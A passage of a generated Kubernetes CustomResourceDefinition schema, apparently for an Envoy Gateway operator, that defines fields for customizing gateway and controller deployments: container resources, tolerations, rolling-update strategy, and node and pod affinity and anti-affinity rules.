                                                  The term is applied to the union of the namespaces listed in this field
                                                  and the ones selected by namespaceSelector.
                                                  null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              topologyKey:
                                                description: |-
                                                  This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                  the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                  whose value of the label with key topologyKey matches that of any node on which any of the
                                                  selected pods is running.
                                                  Empty topologyKey is not allowed.
                                                type: string
                                            required:
                                            - topologyKey
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                      type: object
                                  type: object
                                containers:
                                  items:
                                    description: |-
                                      GatewayControllerDeploymentContainer allows customization of the gateway controller's resource
                                      requirements.
                                      If GatewayControllerDeployment.Spec.Template.Spec.Containers["envoy-gateway"].Resources is
                                      non-nil, it overrides the ResourceRequirements of the controller's "envoy-gateway" container.
                                    properties:
                                      name:
                                        enum:
                                        - envoy-gateway
                                        type: string
                                      resources:
                                        description: ResourceRequirements describes
                                          the compute resource requirements.
                                        properties:
                                          claims:
                                            description: |-
                                              Claims lists the names of resources, defined in spec.resourceClaims,
                                              that are used by this container.
                                              This is an alpha field and requires enabling the
                                              DynamicResourceAllocation feature gate.
                                              This field is immutable. It can only be set for containers.
                                            items:
                                              description: ResourceClaim references
                                                one entry in PodSpec.ResourceClaims.
                                              properties:
                                                name:
                                                  description: |-
                                                    Name must match the name of one entry in pod.spec.resourceClaims of
                                                    the Pod where this field is used. It makes that resource available
                                                    inside a container.
                                                  type: string
                                                request:
                                                  description: |-
                                                    Request is the name chosen for a request in the referenced claim.
                                                    If empty, everything from the claim is made available, otherwise
                                                    only the result of this request.
                                                  type: string
                                              required:
                                              - name
                                              type: object
                                            type: array
                                            x-kubernetes-list-map-keys:
                                            - name
                                            x-kubernetes-list-type: map
                                          limits:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Limits describes the maximum amount of compute resources allowed.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                          requests:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Requests describes the minimum amount of compute resources required.
                                              If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                                              otherwise to an implementation-defined value. Requests cannot exceed Limits.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                        type: object
                                    required:
                                    - name
                                    type: object
                                  type: array
                                nodeSelector:
                                  additionalProperties:
                                    type: string
                                  type: object
                                tolerations:
                                  items:
                                    description: |-
                                      The pod this Toleration is attached to tolerates any taint that matches
                                      the triple <key,value,effect> using the matching operator <operator>.
                                    properties:
                                      effect:
                                        description: |-
                                          Effect indicates the taint effect to match. Empty means match all taint effects.
                                          When specified, allowed values are NoSchedule, PreferNoSchedule and NoExecute.
                                        type: string
                                      key:
                                        description: |-
                                          Key is the taint key that the toleration applies to. Empty means match all taint keys.
                                          If the key is empty, operator must be Exists; this combination means to match all values and all keys.
                                        type: string
                                      operator:
                                        description: |-
                                          Operator represents a key's relationship to the value.
                                          Valid operators are Exists and Equal. Defaults to Equal.
                                          Exists is equivalent to wildcard for value, so that a pod can
                                          tolerate all taints of a particular category.
                                        type: string
                                      tolerationSeconds:
                                        description: |-
                                          TolerationSeconds represents the period of time the toleration (which must be
                                          of effect NoExecute, otherwise this field is ignored) tolerates the taint. By default,
                                          it is not set, which means tolerate the taint forever (do not evict). Zero and
                                          negative values will be treated as 0 (evict immediately) by the system.
                                        format: int64
                                        type: integer
                                      value:
                                        description: |-
                                          Value is the taint value the toleration matches to.
                                          If the operator is Exists, the value should be empty, otherwise just a regular string.
                                        type: string
                                    type: object
                                  type: array
                              type: object
                          type: object
                      type: object
                  type: object
                gatewayDeployment:
                  description: Allow optional customization of gateway deployments.
                  properties:
                    spec:
                      description: |-
                        GatewayDeploymentSpec allows customization of the spec of gateway deployments.
                        For customization of the pod template see GatewayDeploymentPodTemplate.
                        For customization of the deployment strategy see GatewayDeploymentStrategy.
                      properties:
                        strategy:
                          description: The deployment strategy to use to replace existing
                            pods with new ones.
                          properties:
                            rollingUpdate:
                              description: Spec to control the desired behavior of
                                rolling update.
                              properties:
                                maxSurge:
                                  anyOf:
                                  - type: integer
                                  - type: string
                                  description: |-
                                    The maximum number of pods that can be scheduled above the desired number of
                                    pods.
                                    Value can be an absolute number (ex: 5) or a percentage of desired pods (ex: 10%).
                                    This can not be 0 if MaxUnavailable is 0.
                                    Absolute number is calculated from percentage by rounding up.
                                    Defaults to 25%.
                                    Example: when this is set to 30%, the new ReplicaSet can be scaled up immediately when
                                    the rolling update starts, such that the total number of old and new pods do not exceed
                                    130% of desired pods. Once old pods have been killed,
                                    new ReplicaSet can be scaled up further, ensuring that total number of pods running
                                    at any time during the update is at most 130% of desired pods.
                                  x-kubernetes-int-or-string: true
                                maxUnavailable:
                                  anyOf:
                                  - type: integer
                                  - type: string
                                  description: |-
                                    The maximum number of pods that can be unavailable during the update.
                                    Value can be an absolute number (ex: 5) or a percentage of desired pods (ex: 10%).
                                    Absolute number is calculated from percentage by rounding down.
                                    This can not be 0 if MaxSurge is 0.
                                    Defaults to 25%.
                                    Example: when this is set to 30%, the old ReplicaSet can be scaled down to 70% of desired pods
                                    immediately when the rolling update starts. Once new pods are ready, old ReplicaSet
                                    can be scaled down further, followed by scaling up the new ReplicaSet, ensuring
                                    that the total number of pods available at all times during the update is at
                                    least 70% of desired pods.
                                  x-kubernetes-int-or-string: true
                              type: object
                          type: object
                        template:
                          description: |-
                            GatewayDeploymentPodTemplate allows customization of the pod template of gateway deployments.
                            If GatewayDeployment.Spec.Template.Metadata is non-nil, non-clashing labels and annotations from
                            that metadata are added into each deployment's pod template.
                            For customization of the pod template spec see GatewayDeploymentPodSpec.
                          properties:
                            metadata:
                              description: Metadata contains the standard Kubernetes
                                labels and annotations fields.
                              properties:
                                annotations:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    Annotations is a map of arbitrary non-identifying metadata. Each of these
                                    key/value pairs are added to the object's annotations provided the key does not
                                    already exist in the object's annotations.
                                  type: object
                                labels:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    Labels is a map of string keys and values that may match replicaset and
                                    service selectors. Each of these key/value pairs are added to the
                                    object's labels provided the key does not already exist in the object's labels.
                                  type: object
                              type: object
                            spec:
                              description: |-
                                GatewayDeploymentPodSpec allows customization of the pod spec of gateway deployments.
                                If GatewayDeployment.Spec.Template.Spec.Affinity is non-nil, it sets the affinity field of each
                                deployment's pod template.
                                If GatewayDeployment.Spec.Template.Spec.NodeSelector is non-nil, it sets a node selector for
                                where gateway pods may be scheduled.
                                If GatewayDeployment.Spec.Template.Spec.Tolerations is non-nil, it sets the tolerations field of
                                each deployment's pod template.
                                If GatewayDeployment.Spec.Template.Spec.TopologySpreadConstraints is non-nil, it sets the
                                topology spread constraints of each deployment's pod template.
                                For customization of container resources see GatewayControllerDeploymentContainer.
                              properties:
                                affinity:
                                  description: Affinity is a group of affinity scheduling
                                    rules.
                                  properties:
                                    nodeAffinity:
                                      description: Describes node affinity scheduling
                                        rules for the pod.
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node matches the corresponding matchExpressions; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: |-
                                              An empty preferred scheduling term matches all objects with implicit weight 0
                                              (i.e. it's a no-op). A null preferred scheduling term matches no objects (i.e. is also a no-op).
                                            properties:
                                              preference:
                                                description: A node selector term,
                                                  associated with the corresponding
                                                  weight.
                                                properties:
                                                  matchExpressions:
                                                    description: A list of node selector
                                                      requirements by node's labels.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchFields:
                                                    description: A list of node selector
                                                      requirements by node's fields.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              weight:
                                                description: Weight associated with
                                                  matching the corresponding nodeSelectorTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - preference
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to an update), the system
                                            may or may not try to eventually evict the pod from its node.
                                          properties:
                                            nodeSelectorTerms:
                                              description: Required. A list of node
                                                selector terms. The terms are ORed.
                                              items:
                                                description: |-
                                                  A null or empty node selector term matches no objects. The requirements of
                                                  them are ANDed.
                                                  The TopologySelectorTerm type implements a subset of the NodeSelectorTerm.
                                                properties:
                                                  matchExpressions:
                                                    description: A list of node selector
                                                      requirements by node's labels.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchFields:
                                                    description: A list of node selector
                                                      requirements by node's fields.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              type: array
                                              x-kubernetes-list-type: atomic
                                          required:
                                          - nodeSelectorTerms
                                          type: object
                                          x-kubernetes-map-type: atomic
                                      type: object
                                    podAffinity:
                                      description: Describes pod affinity scheduling
                                        rules (e.g. co-locate this pod in the same
                                        node, zone, etc. as some other pod(s)).
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: The weights of all of the
                                              matched WeightedPodAffinityTerm fields
                                              are added per-node to find the most
                                              preferred node(s)
                                            properties:
                                              podAffinityTerm:
                                                description: Required. A pod affinity
                                                  term, associated with the corresponding
                                                  weight.
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              weight:
                                                description: |-
                                                  weight associated with matching the corresponding podAffinityTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - podAffinityTerm
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to a pod label update), the
                                            system may or may not try to eventually evict the pod from its node.
                                            When there are multiple elements, the lists of nodes corresponding to each
                                            podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                          items:
                                            description: |-
                                              Defines a set of pods (namely those matching the labelSelector
                                              relative to the given namespace(s)) that this pod should be
                                              co-located (affinity) or not co-located (anti-affinity) with,
                                              where co-located is defined as running on a node whose value of
                                              the label with key <topologyKey> matches that of any node on which
                                              a pod of the set of pods is running
                                            properties:
                                              labelSelector:
                                                description: |-
                                                  A label query over a set of resources, in this case pods.
                                                  If it's null, this PodAffinityTerm matches with no Pods.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              matchLabelKeys:
                                                description: |-
                                                  MatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                  Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              mismatchLabelKeys:
                                                description: |-
                                                  MismatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                  Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              namespaceSelector:
                                                description: |-
                                                  A label query over the set of namespaces that the term applies to.
                                                  The term is applied to the union of the namespaces selected by this field
                                                  and the ones listed in the namespaces field.
                                                  null selector and null or empty namespaces list means "this pod's namespace".
                                                  An empty selector ({}) matches all namespaces.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              namespaces:
                                                description: |-
                                                  namespaces specifies a static list of namespace names that the term applies to.
                                                  The term is applied to the union of the namespaces listed in this field
                                                  and the ones selected by namespaceSelector.
                                                  null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              topologyKey:
                                                description: |-
                                                  This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                  the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                  whose value of the label with key topologyKey matches that of any node on which any of the
                                                  selected pods is running.
                                                  Empty topologyKey is not allowed.
                                                type: string
                                            required:
                                            - topologyKey
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                      type: object
                                    podAntiAffinity:
                                      description: Describes pod anti-affinity scheduling
                                        rules (e.g. avoid putting this pod in the
                                        same node, zone, etc. as some other pod(s)).
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the anti-affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling anti-affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: The weights of all of the
                                              matched WeightedPodAffinityTerm fields
                                              are added per-node to find the most
                                              preferred node(s)
                                            properties:
                                              podAffinityTerm:
                                                description: Required. A pod affinity
                                                  term, associated with the corresponding
                                                  weight.
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
